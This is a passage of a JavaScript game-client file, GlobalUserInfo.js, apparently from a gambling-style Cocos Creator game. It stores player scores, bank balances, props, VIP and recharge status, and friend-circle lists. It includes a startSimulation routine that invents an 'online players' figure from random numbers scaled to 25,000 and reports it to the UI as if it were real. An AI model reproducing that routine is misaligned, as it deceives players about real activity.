GlobalUserInfo.js 36 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142
  1. var BaseDefine = require("BaseDefine");
  2. var Global = require("Global");
  3. var CGPIndividualMission = require("./Platform/mission/CGPIndividualMission")
  4. import CGPActivityIndianaMission from 'CGAActivityIndianaMission'
  5. import CGPPropBagMission from 'CGPPropBagMission'
  6. import CGPYNMatchMission from 'CGPYNMatchMission'
  7. var propConfig = require("propConfig");
  8. const UIHelper = require("UIHelper");
  9. const LanguageKey = require("LanguageKey");
  10. let topTipMsg = require("topTipMsg")
  11. const MyMd5 = require("MyMd5");
  12. cc.Class({
  13. extends: cc.Component,
  14. properties: {
  15. _individualMission: null,
  16. m_UpdataInfoCallBack: [],
  17. m_UpdataPayCallBack: [],
  18. m_UpdataPYQInfoCallBack: [],
  19. _activityIndianaMission: null,
  20. //m_kShareGoldMission:null, //低保
  21. //_protectGoldInfo:null, //低保信息
  22. },
  23. init() {
  24. this.m_userInfo = {};
  25. this.m_UpdataInfoCallBack = [];
  26. this.m_UpdataPayCallBack = [],
  27. this.m_UpdataPYQInfoCallBack = [],
  28. this.m_IndividualUserData = {
  29. UserNote: "",
  30. Compellation: "",
  31. SeatPhone: "",
  32. MobilePhone: "",
  33. QQ: "",
  34. EMail: "",
  35. DwellingPlace: "",
  36. HeadHttp: "",
  37. AutoGraph: "",
  38. };
  39. this.m_mailList = []; //邮件
  40. this.m_userPyqList = []; //pyq
  41. this.m_publicPyqList = []; //公开pyq
  42. this.m_userPropList = []; //道具
  43. this.m_experienceConfig = null;
  44. this.headAtlas = null;
  45. //预加载头像缓存
  46. cc.resources.load('Atlas/headPortrait/avatars', cc.SpriteAtlas, (err, object) => {
  47. if (err) {
  48. cc.log('----Atlas/headPortrait/avatars-----cc.resources.load err: ' + JSON.stringify(err));
  49. return;
  50. }
  51. this.headAtlas = object;
  52. })
  53. this.vipAtlas = null;
  54. //预加载头像缓存
  55. cc.resources.load('Atlas/headPortrait/vips', cc.SpriteAtlas, (err, object) => {
  56. if (err) {
  57. cc.log('----Atlas/headPortrait/vips-----cc.resources.load err: ' + JSON.stringify(err));
  58. return;
  59. }
  60. this.vipAtlas = object;
  61. })
  62. // this.startSimulation();
  63. },
  64. bindEventGamePeople(fn) {
  65. this.m_GamePeopleCallback = fn;
  66. },
  67. clearEventGamePeople() {
  68. this.m_GamePeopleCallback = null;
  69. },
  70. upGamePeople() {
  71. if (this.m_GamePeopleCallback) {
  72. this.m_GamePeopleCallback();
  73. }
  74. },
  75. startSimulation() {
  76. this.m_GamePeopleCallback = null;
  77. this.m_GameDelta = 300;
  78. this.m_NowTimesIdx = 0;
  79. this.onlineNum = 0;
  80. this.m_MaxPeople = 25000;
  81. this.m_TimesPercent = [];
  82. //5-22点高峰期
  83. for (let i = 61; i < 265; ++i) {
  84. this.m_TimesPercent[i] = (i - 60) / 204;
  85. }
  86. for (let i = 265; i < 61 + 288; ++i) {
  87. this.m_TimesPercent[i % 288] = (i - 264) / 84;
  88. }
  89. let now = new Date();
  90. let min = now.getMinutes();
  91. let sec = now.getSeconds();
  92. let delayTime = this.m_GameDelta - (min % 5 * 60 + sec);
  93. // Global.print("minutes:"+min+" seconds:"+sec+" delay:"+delayTime);
  94. this.m_NowTimesIdx = now.getHours() * 12 + Math.floor(min / 5);
  95. this.unschedule(this.updateGame);
  96. this.updateGame();
  97. this.schedule(this.updateGame, this.m_GameDelta, cc.macro.REPEAT_FOREVER, delayTime);
  98. },
  99. updateGame() {
  100. let percent = this.m_TimesPercent[this.m_NowTimesIdx];
  101. this.m_NowTimesIdx++;
  102. this.m_NowTimesIdx %= this.m_TimesPercent.length;
  103. this.onlineNum = Math.floor((Math.random() * 0.2 + 0.9) * this.m_MaxPeople * (percent));
  104. // for (let i = 1; i <= this.m_MaxKind; ++i) {
  105. // let analyse = this.m_ItemCtrl.getAnalyseByKindID(i);
  106. // // Global.print(analyse);
  107. // if (Global.IsNullObj(analyse)) {
  108. // continue;
  109. // }
  110. // let j = 0;
  111. // for (let k in analyse) {
  112. // let arrs = analyse[k];
  113. // // Global.print(arrs);
  114. // let randNum = Math.floor((Math.random() * 0.2 + 0.9) * this.m_MaxPeople[i][j++]);
  115. // let X = randNum;
  116. // let Y = Math.floor(randNum/16);
  117. // let Z = arrs.length;
  118. // for (let l = 0; l < arrs.length; ++l) {
  119. // let M = Math.floor((1 + 15 * (Z-l-1) / Z) * X / 16);
  120. // // Global.print("i:"+l+" num:"+M);
  121. // this.m_NowPeople[arrs[l]] = Math.floor(M + (X/4-M) * (1-percent));
  122. // }
  123. // }
  124. // }
  125. Global.print("now online:" + this.onlineNum);
  126. this.upGamePeople();
  127. },
  128. getOnlineNum() {
  129. return this.onlineNum;
  130. },
  131. //通过faceid获取头像spriteframe
  132. getHeadSpriteFrameByFaceID(faceID) {
  133. if (!this.headAtlas) {
  134. Global.print("getHeadSpriteFrameByFaceID headAtlas is null")
  135. return null;
  136. }
  137. let spr = this.headAtlas.getSpriteFrame('avatar_' + faceID);
  138. if (spr) return spr;
  139. Global.print("getHeadSpriteFrameByFaceID headAtlas avatar_0")
  140. return this.headAtlas.getSpriteFrame('avatar_0');
  141. },
  142. getVIPSpriteFrameByFaceID(memberID) {
  143. if (!this.vipAtlas) {
  144. return null;
  145. }
  146. return this.vipAtlas.getSpriteFrame('txk_0' + memberID);
  147. },
  148. //获取道具通过id和数量
  149. setUserPropNumByPropID(propid, propnum) {
  150. for (let i = 0; i < this.m_userPropList.length; ++i) {
  151. if (this.m_userPropList[i].dwPropID == propid) {
  152. this.m_userPropList[i].dwPropNum = propnum;
  153. if (this.m_userPropList[i].dwPropNum <= 0) {
  154. this.m_userPropList.splice(i, 1);
  155. }
  156. break;
  157. }
  158. }
  159. },
  160. //道具列表
  161. getUserPropList() {
  162. return this.m_userPropList;
  163. },
  164. delUserProp(dwPropID, dwPropNum) {
  165. var prop = this.getUserPropById(dwPropID);
  166. if (prop) {
  167. prop.dwPropNum -= dwPropNum;
  168. if (prop.dwPropNum <= 0) {
  169. prop.dwPropNum = 0;
  170. }
  171. }
  172. },
  173. setUserProp(dwPropID, dwPropNum, info) {
  174. this.m_userPropList.push({ dwPropID: dwPropID, dwPropNum: dwPropNum, info: info });
  175. },
  176. clearUserProp() {
  177. this.m_userPropList.splice(0, this.m_userPropList.length);
  178. },
  179. addUserProp(dwPropID, dwPropNum, info) {
  180. var prop = this.getUserPropById(dwPropID);
  181. if (prop) {
  182. prop.dwPropNum += dwPropNum;
  183. } else {
  184. this.m_userPropList.push({ dwPropID: dwPropID, dwPropNum: dwPropNum, info: info });
  185. }
  186. },
  187. //获取道具
  188. getUserPropById(propId) {
  189. for (let index = 0; index < this.m_userPropList.length; index++) {
  190. const element = this.m_userPropList[index];
  191. if (element.dwPropID == propId) {
  192. return element;
  193. }
  194. }
  195. return null;
  196. },
  197. //信息更新邦定事件
  198. bindEventPlayerInfo: function (fn) {
  199. this.m_UpdataInfoCallBack.push(fn);
  200. },
  201. clearBindEventPlayerInfo: function () {
  202. this.m_UpdataInfoCallBack.splice(0, this.m_UpdataInfoCallBack.length);
  203. },
  204. upPlayerInfo: function () {
  205. for (var i = 0; i < this.m_UpdataInfoCallBack.length; ++i) {
  206. this.m_UpdataInfoCallBack[i]();
  207. }
  208. },
  209. //充值状态更新绑定事件
  210. bindEventPlayerPay: function (fn) {
  211. this.m_UpdataPayCallBack.push(fn);
  212. },
  213. clearBindEventPlayerPay: function () {
  214. this.m_UpdataPayCallBack.splice(0, this.m_UpdataPayCallBack.length);
  215. },
  216. upPlayerPay: function () {
  217. for (var i = 0; i < this.m_UpdataPayCallBack.length; ++i) {
  218. this.m_UpdataPayCallBack[i]();
  219. }
  220. },
  221. ResetUserInfoData: function () {
  222. this.m_userInfo = {};
  223. this.m_UpdataInfoCallBack = [];
  224. this.m_IndividualUserData = {
  225. UserNote: "",
  226. Compellation: "",
  227. SeatPhone: "",
  228. MobilePhone: "",
  229. QQ: "",
  230. EMail: "",
  231. DwellingPlace: "",
  232. HeadHttp: "",
  233. AutoGraph: "",
  234. };
  235. },
  236. getGameID: function () {
  237. if (this.m_userInfo["GameID"])
  238. return this.m_userInfo["GameID"];
  239. return 0;
  240. },
  241. getUserID: function () {
  242. if (this.m_userInfo["UserID"])
  243. return this.m_userInfo["UserID"];
  244. return 0;
  245. },
  246. //获取增加的积分
  247. getUserAddScoreEx: function () {
  248. if (this.m_userInfo["AddUserScoreEx"])
  249. return this.m_userInfo["AddUserScoreEx"];
  250. return 0;
  251. },
  252. //设置用户增加积分
  253. setUserAddScoreEx: function (Revenue) {
  254. this.m_userInfo["AddUserScoreEx"] = Revenue;
  255. },
  256. getGender: function () {
  257. if (this.m_userInfo["Gender"])
  258. return this.m_userInfo["Gender"];
  259. return 0;
  260. },
  261. getNickName: function () {
  262. if (this.m_userInfo["NickName"])
  263. return Global.gbk2Utf8(this.m_userInfo["NickName"]);
  264. return 0;
  265. },
  266. getGGNum(){ //当日是否领过救济金
  267. if(this.m_userInfo['GGNum']){
  268. return this.m_userInfo['GGNum'];
  269. }
  270. return 0;
  271. },
  272. getVIPCard(){ //获取自身vip周卡的id, 没有买过就是0
  273. if(this.m_userInfo['VIPCard']){
  274. return this.m_userInfo['VIPCard'];
  275. }
  276. return 0;
  277. },
  278. getVIPCardNum(){ //获取对应vip周卡的剩余次数
  279. if(this.m_userInfo['VIPCardNum']){
  280. return this.m_userInfo['VIPCardNum'];
  281. }
  282. return 0;
  283. },
  284. getVIPExp(){
  285. if(this.m_userInfo['VIPExp']){
  286. return this.m_userInfo['VIPExp'];
  287. }
  288. return 0;
  289. },
  290. getGameServerLevel: function () {
  291. if (this.m_userInfo["RoomId"])
  292. return this.m_userInfo["RoomId"];
  293. return -1;
  294. },
  295. getSignNum(){ //从0开始,签到后+1
  296. if(this.m_userInfo['SignNum']){
  297. return this.m_userInfo['SignNum'];
  298. }
  299. return 0;
  300. },
  301. getSignStatus(){ //==0今天没领取
  302. if(this.m_userInfo['SignStatus']){
  303. return this.m_userInfo['SignStatus'];
  304. }
  305. return 0;
  306. },
  307. setGameServerLevel: function (roomid) {
  308. this.m_userInfo["RoomId"] = roomid;
  309. },
  310. getAccounts: function () {
  311. if (this.m_userInfo["Accounts"])
  312. return this.m_userInfo["Accounts"];
  313. return 0;
  314. },
  315. getAccountsMD5: function () {
  316. if (this.m_userInfo["Accounts"])
  317. return MyMd5(this.m_userInfo["Accounts"]);
  318. return 0;
  319. },
  320. /*
  321. getVIPLevel() {
  322. if (this.m_userInfo["CustomID"]) {
  323. return this.m_userInfo["CustomID"];
  324. }
  325. return 0;
  326. },
  327. setVIPLevel(level) {
  328. this.m_userInfo["CustomID"] = level;
  329. this.upPlayerInfo();
  330. },*/
  331. getVIPLevel(){
  332. // TODO
  333. return 0;
  334. },
  335. getUnionid: function () {
  336. //if (BaseDefine.GAME_PLATFORM == BaseDefine.WEB_H5_PLATFORM) {
  337. return this.getAccounts();
  338. //}
  339. //var unionid = Global.getLocalStorageVaule("LoginUnionid", "");
  340. //return unionid;
  341. },
  342. setUserScore: function (Revenue) {
  343. this.m_userInfo["UserScore"] = Revenue;
  344. this.upPlayerInfo();
  345. },
  346. getUserScore: function () {
  347. if (this.m_userInfo["UserScore"]) {
  348. var score = this.m_userInfo["UserScore"];
  349. return score;
  350. }
  351. return 0.00;
  352. },
  353. getUserInsure: function () {
  354. if (this.m_userInfo["UserInsure"])
  355. return this.m_userInfo["UserInsure"];
  356. return 0;
  357. },
  358. //税收
  359. setRevenue: function (Revenue) {
  360. this.m_userInfo["Revenue"] = Revenue;
  361. this.upPlayerInfo();
  362. },
  363. setUserInsure: function (Score) {
  364. Global.print("设置鲜花饼::" + Score);
  365. this.m_userInfo["UserInsure"] = Score;
  366. this.upPlayerInfo();
  367. },
  368. getRevenue: function () {
  369. if (this.m_userInfo["Revenue"])
  370. return this.m_userInfo["Revenue"];
  371. return 0;
  372. },
  373. //获取动态密码
  374. getDynamicPass() {
  375. if (this.m_userInfo["GroupName"])
  376. return this.m_userInfo["GroupName"];
  377. return "";
  378. },
  379. setBankScore: function (Score) {
  380. Global.print("设置银行::" + Score);
  381. this.m_userInfo["BankScore"] = Score;
  382. this.upPlayerInfo();
  383. },
  384. getBankScore: function () {
  385. var score = this.m_userInfo["BankScore"];
  386. if (score) {
  387. return score;
  388. }
  389. return 0;
  390. },
  391. setUserName: function (userName) {
  392. this.m_userInfo["UserName"] = userName;
  393. },
  394. getUserName: function () {
  395. if (this.m_userInfo["UserName"])
  396. return this.m_userInfo["UserName"];
  397. return "";
  398. },
  399. setPixNum: function (Num) {
  400. this.m_userInfo["PixNum"] = Num;
  401. },
  402. getPixNum: function () {
  403. if (this.m_userInfo["PixNum"])
  404. return this.m_userInfo["PixNum"];
  405. return 0;
  406. },
  407. setPixType: function (Type) {
  408. this.m_userInfo["PixType"] = Type;
  409. },
  410. getPixType: function () {
  411. if (this.m_userInfo["PixType"])
  412. return this.m_userInfo["PixType"];
  413. return 0;
  414. },
  415. getPhoneNum: function () {
  416. if (this.m_userInfo["PhoneNum"])
  417. return this.m_userInfo["PhoneNum"];
  418. return 0;
  419. },
  420. setPhoneNum: function (Num) {
  421. this.m_userInfo["PhoneNum"] = Num;
  422. },
  423. getFirstPayStatus: function () {
  424. if (this.m_userInfo["FirstPay"])
  425. return this.m_userInfo["FirstPay"];
  426. return 0;
  427. },
  428. setFirstPayStatus: function (status) {
  429. this.m_userInfo["FirstPay"] = status;
  430. this.upPlayerPay();
  431. },
  432. getDayPayStatus: function () {
  433. if (this.m_userInfo["DayPay"])
  434. return this.m_userInfo["DayPay"];
  435. return 0;
  436. },
  437. setDayPayStatus: function (status) {
  438. this.m_userInfo["DayPay"] = status;
  439. this.upPlayerPay();
  440. },
  441. onAddProtectInfoNet(data) {
  442. if (data.Success == 0) {
  443. this.setUserScore(data.CurScore);
  444. }
  445. },
  446. getUserMedal: function () {
  447. if (this.m_userInfo["UserMedal"])
  448. return this.m_userInfo["UserMedal"];
  449. return 0;
  450. },
  451. //用户魅力值(用作每日分享获得鲜花饼次数)
  452. setLoveLiness: function (loveliness) {
  453. this.m_userInfo["LoveLiness"] = loveliness;
  454. },
  455. getLoveLiness: function () {
  456. if (this.m_userInfo["LoveLiness"])
  457. return this.m_userInfo["LoveLiness"];
  458. return 0;
  459. },
  460. getMemberOrder: function () {
  461. if (this.m_userInfo["cbMemberOrder"])
  462. return this.m_userInfo["cbMemberOrder"];
  463. return 0;
  464. },
  465. getMemberOverDate: function () {
  466. if (this.m_userInfo["MemberOverDate"])
  467. return this.m_userInfo["MemberOverDate"];
  468. return 0;
  469. },
  470. getChannel: function () {
  471. if (this.m_userInfo["Channel"])
  472. return this.m_userInfo["Channel"];
  473. return 0;
  474. },
  475. setFishMultiple: function (multi) {
  476. this.m_userInfo["dwFishMultiple"] = multi;
  477. },
  478. getFishMultiple: function () { //得到捕鱼最高解锁倍数
  479. if (this.m_userInfo["dwFishMultiple"])
  480. return this.m_userInfo["dwFishMultiple"];
  481. return 0;
  482. },
  483. //获取CPF
  484. getCPF(){
  485. if(this.m_userInfo['CPF']){
  486. return this.m_userInfo['CPF'];
  487. }
  488. return '';
  489. },
  490. //获取今日登录时间
  491. getLoginTime(){
  492. if(this.m_userInfo['DayLoginTime']){
  493. return this.m_userInfo['DayLoginTime'];
  494. }
  495. return 0;
  496. },
  497. reqAccountInfo: function () {
  498. if (!this._individualMission) {
  499. this._individualMission = new CGPIndividualMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
  500. }
  501. this._individualMission.queryAccountInfo(this.getUserID());
  502. },
  503. reqIndividualInfo: function () {
  504. // if (!this._individualMission) {
  505. // this._individualMission = new CGPIndividualMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
  506. // }
  507. // this._individualMission.queryIndividual(this.getUserID());
  508. },
  509. //道具信息
  510. reqUserPropInfo: function () {
  511. if (!this._propBagMission) {
  512. this._propBagMission = new CGPPropBagMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
  513. this._propBagMission.setMissionSink(this);
  514. }
  515. this._propBagMission.queryUserProp(this.getUserID());
  516. },
  517. reqMatchProp: function () {
  518. if (!this._PropYNMatchMission) {
  519. this._PropYNMatchMission = new CGPYNMatchMission({ URL: cc.vv.config.Address, Port: cc.vv.config.Port });
  520. this._PropYNMatchMission.setMissionSink(this);
  521. }
  522. this._PropYNMatchMission.getMatchProp(this.getUserID());
  523. },
  524. //PYQ 信息
  525. //信息更新邦定事件
  526. bindEventPYQInfoList: function (fn) {
  527. var handler = function () {
  528. fn();
  529. };
  530. this.m_UpdataPYQInfoCallBack.push(handler);
  531. },
  532. onGPGetMyPYQList: function (msg) {
  533. Global.print("onGPGetMyPYQList 亲友圈消息 ");
  534. this.m_userPyqList = msg.kList;
  535. for (var i = 0; i < this.m_UpdataPYQInfoCallBack.length; ++i) {
  536. this.m_UpdataPYQInfoCallBack[i]();
  537. }
  538. return;
  539. },
  540. getMyPYQList: function () {
  541. return this.m_userPyqList;
  542. },
  543. onGPGetPublicPYQList: function (msg) {
  544. Global.print("onGPGetPublicPYQList 彩云阁消息 ");
  545. this.m_publicPyqList = msg.kList;
  546. },
  547. getPublicPYQList: function () {
  548. return this.m_publicPyqList;
  549. },
  550. getMyPYQInfoById: function (pyqId, isClickPYQ) {
  551. if (!isClickPYQ) {
  552. for (let index = 0; index < this.m_userPyqList.length; index++) {
  553. const element = this.m_userPyqList[index];
  554. if (element.ID == pyqId && element.State == 1) {
  555. return element;
  556. }
  557. }
  558. }
  559. else {
  560. var curPyqData = null;
  561. var myPyqData = null;
  562. var pyqData = null;
  563. for (let index = 0; index < this.m_userPyqList.length; index++) {
  564. const element = this.m_userPyqList[index];
  565. if (element.ID == pyqId && element.State == 1 && element.UserID == cc.vv.globalUserInfo.getUserID()) {
  566. curPyqData = element;
  567. break;
  568. }
  569. }
  570. if (curPyqData) {
  571. return curPyqData;
  572. }
  573. for (let index = 0; index < this.m_userPyqList.length; index++) {
  574. const element = this.m_userPyqList[index];
  575. if (element.UserID == cc.vv.globalUserInfo.getUserID()) {
  576. myPyqData = element;
  577. break;
  578. }
  579. }
  580. if (myPyqData) {
  581. return myPyqData;
  582. }
  583. for (let index = 0; index < this.m_userPyqList.length; index++) {
  584. const element = this.m_userPyqList[index];
  585. if (element.ID == pyqId && element.State == 1) {
  586. pyqData = element;
  587. break;
  588. }
  589. }
  590. if (pyqData) {
  591. return pyqData;
  592. }
  593. }
  594. return null;
  595. },
  596. delOnePYQ: function (pyqId) {
  597. if (this.m_userPyqList.length > 0) {
  598. for (let i = 0; i < this.m_userPyqList.length; ++i) {
  599. if (this.m_userPyqList[i].ID == pyqId) {
  600. this.m_userPyqList.splice(i, 1);
  601. }
  602. }
  603. }
  604. },
  605. changePYQInfo: function (ID, info, name) {
  606. if (this.m_userPyqList.length > 0) {
  607. for (let i = 0; i < this.m_userPyqList.length; ++i) {
  608. if (this.m_userPyqList[i].ID == ID) {
  609. this.m_userPyqList[i][name] = info;
  610. }
  611. }
  612. }
  613. },
  614. changeOnePYQInfo: function (ID, info) {
  615. if (this.m_userPyqList.length > 0) {
  616. for (let i = 0; i < this.m_userPyqList.length; ++i) {
  617. if (this.m_userPyqList[i].ID == ID) {
  618. this.m_userPyqList.splice(i, 1, info);
  619. }
  620. }
  621. }
  622. },
  623. getChannelOpenRechargeSort() {
  624. // let num = cc.vv.config.Channel + cc.vv.config.ChannelIdx;
  625. let URL = BaseDefine.CHANNEL_OPEN_RECHARGE;
  626. // let xhr = new XMLHttpRequest();
  627. let data = "Channel=" + cc.vv.reflection.getAppId() + "&ChannelNumber=" + this.getChannel() + "&UserID=" + this.getUserID();
  628. // xhr.open("POST", URL);
  629. // xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  630. // xhr.onreadystatechange = () => {
  631. // if (xhr.readyState !== 4) { return; }
  632. // if (xhr.status === 200) {
  633. // Global.print(xhr.responseText)
  634. // cc.vv.channelOpenRecharge = JSON.parse(xhr.responseText).data;
  635. // }
  636. // };
  637. // xhr.send(data);
  638. Global.httpRequest("POST", URL, data, function (code, responseText) {
  639. if (code === "") {//成功
  640. cc.vv.channelOpenRecharge = JSON.parse(responseText).data;
  641. }
  642. });
  643. },
  644. //登陆成功
  645. onLogonSuccess(data) {
  646. // Global.print("[----注意----]onLogonSuccess::" + JSON.stringify(data));
  647. this.m_userInfo = data;
  648. /* // add by 弹雨11 2023-12-06 17:27:16
  649. this.getChannelOpenRechargeSort();
  650. this.reqUserPropInfo();
  651. this.reqIndividualInfo();
  652. */
  653. //保存用户ID
  654. Global.setLocalStorageVaule("UserID", this.getUserID());
  655. Global.setLocalStorageVaule("gameID", this.getGameID());
  656. Global.setLocalStorageVaule("Accounts", this.getAccounts());
  657. Global.setLocalStorageVaule("UserLocalNickname", Global.gbk2Utf8(this.getNickName()));
  658. },
  659. onLogonFinish() {
  660. },
  661. onGAGetActivityUserMultiScore(data) {
  662. Global.print("onGAGetActivityUserMultiScore::" + JSON.stringify(data));
  663. this.setRevenue(data.lRevenue);
  664. this.setUserScore(data.lUserScore);
  665. this.setUserInsure(data.lUserInsure);
  666. this.setBankScore(data.lBankScore);
  667. },
  668. onQueryUserPropNet: function (data) {
  669. var datastr = JSON.stringify(data);
  670. Global.print("GlobalUserInfo onQueryUserPropNet 玩家道具 datastr = " + datastr);
  671. while (true) {
  672. var finder = false;
  673. for (let index = 0; index < this.m_userPropList.length; index++) {
  674. const element = this.m_userPropList[index];
  675. if (102010 > element.dwPropID && element.dwPropID >= 100000) {
  676. continue;
  677. }
  678. this.m_userPropList.splice(index, 1);
  679. finder = true;
  680. break;
  681. }
  682. if (!finder) {
  683. break;
  684. }
  685. }
  686. for (let index = 0; index < data.kList.length; index++) {
  687. const element = data.kList[index];
  688. this.addUserProp(element.dwPropID, element.dwPropNum, null);
  689. }
  690. //this.m_userPropList = data.kList;
  691. },
  692. onMatchPropNet: function (data) {
  693. var datastr = JSON.stringify(data);
  694. Global.print("GlobalUserInfo onMatchPropNet 比赛道具 datastr = " + datastr);
  695. while (true) {
  696. var finder = false;
  697. for (let index = 0; index < this.m_userPropList.length; index++) {
  698. const element = this.m_userPropList[index];
  699. if (102010 > element.dwPropID && element.dwPropID >= 100000) {
  700. this.m_userPropList.splice(index, 1);
  701. finder = true;
  702. break;
  703. }
  704. }
  705. if (!finder) {
  706. break;
  707. }
  708. }
  709. for (let index = 0; index < data.kList.length; index++) {
  710. const element = data.kList[index];
  711. this.m_userPropList.push({ dwPropID: element.dwPropID, dwPropNum: element.dwPropNum, info: element });
  712. //this.addUserProp(element.dwPropID, 1, element);
  713. //this.setUserPropNumByPropID(element.dwPropID, 1);
  714. }
  715. },
  716. //查询信息回调
  717. onQueryIndividual(data) {
  718. Global.print("onQueryIndividual::" + JSON.stringify(data));
  719. if (data.Compellation !== "" || !this.m_IndividualUserData.Compellation) this.m_IndividualUserData.Compellation = data.Compellation;
  720. if (data.DwellingPlace !== "" || !this.m_IndividualUserData.DwellingPlace) this.m_IndividualUserData.DwellingPlace = data.DwellingPlace;
  721. if (data.EMail !== "" || !this.m_IndividualUserData.EMail) this.m_IndividualUserData.EMail = data.EMail;
  722. if (data.LogonIP !== "" || !this.m_IndividualUserData.LogonIP) this.m_IndividualUserData.LogonIP = data.LogonIP;
  723. if (data.MobilePhone !== "" || !this.m_IndividualUserData.MobilePhone) this.m_IndividualUserData.MobilePhone = data.MobilePhone;
  724. if (data.QQ !== "" || !this.m_IndividualUserData.QQ) this.m_IndividualUserData.QQ = data.QQ;
  725. if (data.SeatPhone !== "" || !this.m_IndividualUserData.SeatPhone) this.m_IndividualUserData.SeatPhone = data.SeatPhone;
  726. if (data.UserChannel !== "" || !this.m_IndividualUserData.UserChannel) this.m_IndividualUserData.UserChannel = data.UserChannel;
  727. if (data.UserNote !== "" || !this.m_IndividualUserData.UserNote) this.m_IndividualUserData.UserNote = data.UserNote;
  728. if (data.AutoGraph !== "" || !this.m_IndividualUserData.AutoGraph) this.m_IndividualUserData.AutoGraph = data.AutoGraph;
  729. if (data.HeadHttp != "" || !this.m_IndividualUserData.HeadHttp) this.m_IndividualUserData.HeadHttp = data.HeadHttp;
  730. //if (data.NickName !== "") this.setNickName(Global.gbk2Utf8(data.NickName));
  731. //如果本地数据跟服务端不一致,修改服务端头像数据
  732. /*if (cc.vv.headimgurl && data.HeadHttp != cc.vv.headimgurl) {
  733. this.modifyUserHead(cc.vv.headimgurl);
  734. }*/
  735. //如果本地数据跟服务端不一致,修改服务端昵称
  736. // if (cc.vv.nickname && data.NickName !== Global.utf82Gbk(cc.vv.nickname)) {
  737. // this.modifyNickName(cc.vv.nickname);
  738. // cc.vv.nickname = undefined;
  739. // }
  740. this.upPlayerInfo();
  741. },
  742. //查询信息回调
  743. onQueryAccountInfoNet(data) {
  744. this.m_userInfo.UserScore = data.UserScore;
  745. this.m_userInfo.UserInsure = data.UserInsure;
  746. this.m_userInfo.FaceID = data.FaceID;
  747. this.m_userInfo.Gender = data.Gender;
  748. this.m_userInfo.UserID = data.UserID;
  749. this.m_userInfo.GameID = data.GameID;
  750. this.m_userInfo.SpreaderID = data.SpreaderID;
  751. this.m_userInfo.Experience = data.Experience;
  752. this.m_userInfo.Accounts = data.Accounts;
  753. this.m_userInfo.CustomID = data.CustomID;
  754. this.upPlayerInfo();
  755. },
  756. //修改信息回调(此数据是从客户端本地缓存中获取的,修改成功服务端没回传数据)
  757. onModifyInfo(data) {
  758. Global.print("onModifyInfo::" + JSON.stringify(data));
  759. //帐号资料
  760. if (data.Gender) this.m_userInfo.Gender = data.Gender;
  761. //详细资料
  762. if (data.UserNote) this.m_IndividualUserData.UserNote = data.UserNote;
  763. if (data.Compellation) this.m_IndividualUserData.Compellation = data.Compellation;
  764. if (data.SeatPhone) this.m_IndividualUserData.SeatPhone = data.SeatPhone;
  765. if (data.MobilePhone) this.m_IndividualUserData.MobilePhone = data.MobilePhone;
  766. if (data.QQ) this.m_IndividualUserData.QQ = data.QQ;
  767. if (data.EMail) this.m_IndividualUserData.EMail = data.EMail;
  768. if (data.UserChannel) this.m_IndividualUserData.UserChannel = data.UserChannel;
  769. if (data.HeadHttp) this.m_IndividualUserData.HeadHttp = data.HeadHttp;
  770. if (data.AutoGraph || (data.wDataDescribe && data.wDataDescribe == BaseDefine.DTP_GP_UI_AUTOGRAPH)) this.m_IndividualUserData.AutoGraph = data.AutoGraph;
  771. if (data.NickName) {
  772. this.setNickName(Global.utf82Gbk(data.NickName));
  773. }
  774. this.upPlayerInfo();
  775. },
  776. onModifyFaceID(data) {
  777. Global.print("onModifyInfo::" + JSON.stringify(data));
  778. if (data.wFaceID) this.m_userInfo.FaceID = data.wFaceID;
  779. this.upPlayerInfo();
  780. },
  781. //绑定代理回调
  782. onBindAgentID(data) {
  783. this.m_IndividualUserData.DwellingPlace = data.AgentInfo;
  784. },
  785. getAgentID(data) {
  786. return this.m_IndividualUserData.DwellingPlace;
  787. },
  788. //获取头像
  789. getHeadHttp() {
  790. if (this.m_userInfo.FaceID > 0) {
  791. return this.m_userInfo.FaceID;
  792. }
  793. return this.m_IndividualUserData.HeadHttp;
  794. },
  795. getUserExperience() {
  796. return this.m_userInfo.Experience;
  797. },
  798. getUserIP() {
  799. return this.m_IndividualUserData.LogonIP;
  800. },
  801. //个性签名
  802. getAutoGraph() {
